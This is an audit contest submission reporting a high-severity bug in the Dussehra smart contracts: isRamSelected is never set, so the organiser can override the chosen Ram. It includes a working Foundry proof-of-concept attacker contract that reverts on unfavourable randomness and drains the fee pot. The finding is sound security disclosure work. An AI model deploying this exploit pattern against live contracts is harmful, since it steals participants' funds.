First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A smart contract organiser will always win because `ChoosingRam:increaseValuesOfParticipants()` fails to update `isRamSelected`

0xlrivo

Summary

ChoosingRam:increaseValuesOfParticipants() is intended to be called by RamNFT owners until 12th October 2024 in an attempt to increase their characteristics and be selected as Ram if all of them are true.

If the Ram has not been selected this way before 12th October 2024, the organiser will be able to call ChoosingRam:selectRamIfNotSelected() to forcefully select a Ram.

Both functions are protected by the RamIsNotSelected modifier which reverts if the state variable isRamSelected == false.

The issue is found in the fact that isRamSelected is only updated inside selectRamIfNotSelected() and not in increaseValuesOfParticipants().

function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
if (block.timestamp < 1728691200) {
revert ChoosingRam__TimeToBeLikeRamIsNotFinish();
}
if (block.timestamp > 1728777600) {
revert ChoosingRam__EventIsFinished();
}
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
​
// potentially override a previously chosen Ram
selectedRam = ramNFT.getCharacteristics(random).ram;
isRamSelected = true; // <@
}

This means that, even if the users selected a Ram via increaseValueOfParticipants(), the organiser will be still able to forcefully overwrite it by calling selectRamIfNotSelected().

Impact

A smart contract organiser will always win and claim 100% of the fee pot because he can simply call selectRamIfNotSelected() and revert if he's not the selectedRam.

Causing a critical loss of funds for the participants which have no way to win.

POC

Add the following file to the test folder:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Dussehra} from "../src/Dussehra.sol";
import {ChoosingRam} from "../src/ChoosingRam.sol";
import {mock} from "../src/mocks/mock.sol";
import {RamNFT} from "../src/RamNFT.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract SmartContractOrganiser is Test {
​
address attacker = makeAddr("attacker");
address[] players = new address[](4);
MaliciousOrganiser organiser;
Dussehra dussehra;
RamNFT ramNFT;
ChoosingRam choosingRam;
​
function setUp() public {
players[0] = makeAddr("player1");
players[1] = makeAddr("player2");
players[2] = makeAddr("player3");
players[3] = makeAddr("player4");
vm.deal(attacker, 1 ether);
vm.prank(attacker);
organiser = new MaliciousOrganiser{value: 1 ether}();
dussehra = organiser.dussehra();
ramNFT = organiser.ramNFT();
choosingRam = organiser.choosingRam();
}
​
function test_smartContractorganiserAlwaysWin() public {
// the 4 players will join the event
for (uint i; i < players.length; i++) {
vm.deal(players[i], 1 ether);
vm.prank(players[i]);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
}
// player1 will become the Ram
for (uint i; i < 5; i++) {
vm.prank(players[0]);
choosingRam.increaseValuesOfParticipants(1, 1);
}
assertEq(choosingRam.selectedRam(), players[0]);
// go to competition end, players cannot call killRavanna()
vm.warp(1728691069 + 1);
vm.prank(players[0]);
vm.expectRevert("Ram is not selected yet!");
dussehra.killRavana();
// now, the MaliciousOrganiser, will win and claim 5 ETH
vm.warp(1728691200 + 1);
vm.startPrank(attacker);
organiser.winAndClaimAll();
organiser.withdrawProfits();
assertEq(attacker.balance, 5 ether);
}
}
​
contract MaliciousOrganiser is IERC721Receiver {
​
ChoosingRam public immutable choosingRam;
RamNFT public immutable ramNFT;
Dussehra public immutable dussehra;
address immutable owner;
​
constructor() payable {
// deploy the contracts
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(
1 ether, address(choosingRam), address(ramNFT)
);
ramNFT.setChoosingRamContract(address(choosingRam));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
owner = msg.sender;
}
​
function winAndClaimAll() external {
require(msg.sender == owner, "!Auth");
// forcefully select the Ram
choosingRam.selectRamIfNotSelected();
// revert if this contract is not the Ram
require(choosingRam.selectedRam() == address(this), "!Ram");
// here, this contract is the Ram so he can claim the entire fee pot
dussehra.killRavana(); // 50% fee pot sent to organiser
dussehra.withdraw(); // other 50% fee pot sent to Ram
}
// deployer will later use to take his profits
function withdrawProfits() external {
require(msg.sender == owner, "!Auth");
(bool ok, ) = msg.sender.call{value: address(this).balance}("");
require(ok, "!TP");
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
require(msg.sender == address(ramNFT));
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}

Tools Used

  • Manual Review

  • Foundry

Recommendations

Make sure that:

  • isRamSelected is set to true whenever someone is chosen to be the Ram in ChoosingRam:increaseValuesOfParticipants().

  • the randomness both in increaseValuesOfParticipants() and selectRamIfNotSelected()) should be computed via ChainLink VRF with a 1 block waiting (like in NFTs collection drops) so that smart contract participants can't revert in unfavorables conditions for them.

Additionally, you can consider implementing a delay between calls to ChoosingRam:increaseValuesOfParticipants(), to make impossible to win in a single transaction by using a smart contract.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`isRamSelected` is not set

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!